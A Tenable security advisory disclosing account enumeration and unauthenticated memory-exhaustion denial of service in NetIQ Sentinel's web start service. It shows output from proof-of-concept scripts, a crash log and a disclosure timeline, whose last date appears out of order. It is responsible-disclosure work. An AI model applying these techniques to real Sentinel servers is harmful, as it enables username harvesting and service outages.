Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] NetIQ Sentinel Multiple Remote Vulnerabilities

High

Synopsis

NetIQ Sentinel is a “full-featured Security Information and Event Management solution”. One of the features the SIEM offers is a Java web start client. The client is downloaded via port 8443 and the client connects to port 10013, both of which are accessible even when Sentinel’s firewall is enabled.

Web Start Client: Account Enumeration

The web start client appears to use a custom protocol to connect to the Sentinel server. The protocol is a mix of binary type/length and XML payloads. Additionally, the protocol features multiple “channels”. For example, to log into Sentinel via the web start client requires two separate SSL connections. The authentication request gets sent on the first channel and the response comes back on the second channel.

One thing we noticed when looking at the web client is that the server responds differently to an authentication request for an account that exists versus an account that doesn’t. For example, if an attacker tries to authenticate as the non-existent “lolwat” user, then Sentinel replies with “No account named ‘lolwat’ exists.” Whereas if an attacker tries to authenticate with the default “admin” account, Sentinel will respond to a bad password with “DBLogin: Authentication Failed: FATAL: password authentication failed for user ‘admin’”. This is obviously a concern as seen in the first example of CWE-203: Information Exposure Through Discrepancy. Tenable has created a PoC to demonstrate this issue. In the output below we use “is_valid_account.py” three times for the accounts “admin” (valid), “lolwat” (not valid), and “albinolobster” (valid):


MUSTELIDAE:~ badger$ python is_valid_account.py 192.168.1.193 10013 admin
[+] Connection to 192.168.1.193:10013 as admin
[+] Session 1 Key: 3BAA5635-B5AE-1034-8881-000C29589EDB0.5444510121060873
[+] Session 2 Key: 3BAA5635-B5AE-1034-8885-000C29589EDB0.010143595576902364
[+] Reply Channel: proxy.reply.3BAA5635-B5AE-1034-8886-000C29589EDB
[+] Sending login request on channel 1
[+] Received login response on channel 2
[!] admin is a valid username!
MUSTELIDAE:~ badger$ python is_valid_account.py 192.168.1.193 10013 lolwat
[+] Connection to 192.168.1.193:10013 as lolwat
[+] Session 1 Key: 3BAA5635-B5AE-1034-8898-000C29589EDB0.7552757420650569
[+] Session 2 Key: 3BAA5635-B5AE-1034-889C-000C29589EDB0.2653795890095556
[+] Reply Channel: proxy.reply.3BAA5635-B5AE-1034-889D-000C29589EDB
[+] Sending login request on channel 1
[+] Received login response on channel 2
[~] lolwat is not a valid username
MUSTELIDAE:~ badger$ python is_valid_account.py 192.168.1.193 10013 albinolobster
[+] Connection to 192.168.1.193:10013 as albinolobster
[+] Session 1 Key: 3BAA5635-B5AE-1034-88A3-000C29589EDB0.7966160316648959
[+] Session 2 Key: 3BAA5635-B5AE-1034-88A4-000C29589EDB0.01711136605560981
[+] Reply Channel: proxy.reply.3BAA5635-B5AE-1034-88A5-000C29589EDB
[+] Sending login request on channel 1
[+] Received login response on channel 2
[!] albinolobster is a valid username!

Bringing Down the House

In implementing the above PoC, we quickly learned that Sentinel is vulnerable to a handful of denial of service attacks. Specifically, it is fairly easy for an unauthenticated remote attacker to cause the server to exceed the Java VM memory limit which triggers an OutofMemory exception. This causes the JVM to be shutdown and restarted which disables both the web UI (port 8443) and the web start server. In the server wrapper log, the exception, shutdown, and restart look like this:


2017/01/09 10:04:15 | DEBUG  | wrapper  | Got ping response from JVM
2017/01/09 10:04:17 | INFO   | jvm 2    | java.lang.OutOfMemoryError: Requested array size exceeds VM limit
2017/01/09 10:04:17 | INFO   | jvm 2    | Dumping heap to /var/opt/novell/sentinel/log/Server.hprof ...
2017/01/09 10:04:19 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:23 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:27 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:31 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:35 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:40 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:44 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:47 | INFO   | jvm 2    | Heap dump file created [1693956755 bytes in 30.545 secs]
2017/01/09 10:04:47 | INFO   | jvm 2    | #
2017/01/09 10:04:47 | INFO   | jvm 2    | # java.lang.OutOfMemoryError: Requested array size exceeds VM limit
2017/01/09 10:04:47 | INFO   | jvm 2    | # -XX:OnOutOfMemoryError="kill -9 %p"
2017/01/09 10:04:47 | INFO   | jvm 2    | #   Executing /bin/sh -c "kill -9 9204"...
2017/01/09 10:04:48 | DEBUG  | wrapperp | send a packet PING : ping
2017/01/09 10:04:49 | ERROR  | wrapper  | JVM exited unexpectedly.
2017/01/09 10:04:49 | DEBUG  | wrapper  | Signal trapped.  Details:
2017/01/09 10:04:49 | DEBUG  | wrapper  |   signal number=17 (SIGCHLD), source="unknown"
2017/01/09 10:04:49 | DEBUG  | wrapper  | Received SIGCHLD, checking JVM process status.
2017/01/09 10:04:49 | STATUS | wrapper  | JVM exited in response to signal SIGKILL (9).
2017/01/09 10:04:49 | DEBUG  | wrapper  | JVM process exited with a code of 1, setting the wrapper exit code to 1.
2017/01/09 10:04:49 | DEBUG  | wrapperp | server listening on port 32000.
2017/01/09 10:04:49 | DEBUG  | wrapper  | Waiting 5 seconds before launching another JVM.

We’ve provided two PoCs for crashing the Sentinel server via memory exhaustion. One uses packet type 9 to trigger the exhaustion and the other users packet type 3. The PoCs are named “type9_dos.py” and “type3_dos.py”. The output looks like this:


MUSTELIDAE:~ badger$ python type9_dos.py 192.168.1.193 10013
[+] Connecting to 192.168.1.193:10013 as 
[+] Session Key: EE7E7490-B8AA-1034-B9C2-000C29589EDB0.6902790167101766
Traceback (most recent call last):
  File "type9_dos.py", line 43, in 
    print sslSocket.read(1024);
ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:1752)
MUSTELIDAE:~ badger$ python type3_dos.py 192.168.1.193 10013
[+] Connecting to 192.168.1.193:10013
[+] Session Key: 6E95F080-B8AC-1034-BDC4-000C29589EDB0.031184096498767744
Traceback (most recent call last):
  File "type3_dos.py", line 43, in 
    print sslSocket.read(1024);
ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:1752)

Solution

Micro Focus has released NetIQ Sentinel version 8.0.1 which addresses these issues.

Disclosure Timeline

2017-01-09 - Issues discovered
2017-01-12 - Information send to vendor via security@microfocus.com
2017-01-13 - Vendor confirms receipt, will begin investigating
2017-01-17 - Vendor confirms able to duplicate our findings, asks how they should credit
2017-02-27 - Ping vendor for update
2017-03-01 - Vendor says fix coming end of March
2017-03-28 - Vendor says fix scheduled for Thursday, verifies credit information
2017-03-28 - Tenable acks, verifies credit information
2017-03-20 - Micro Focus releases Sentinel 8.0.1

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com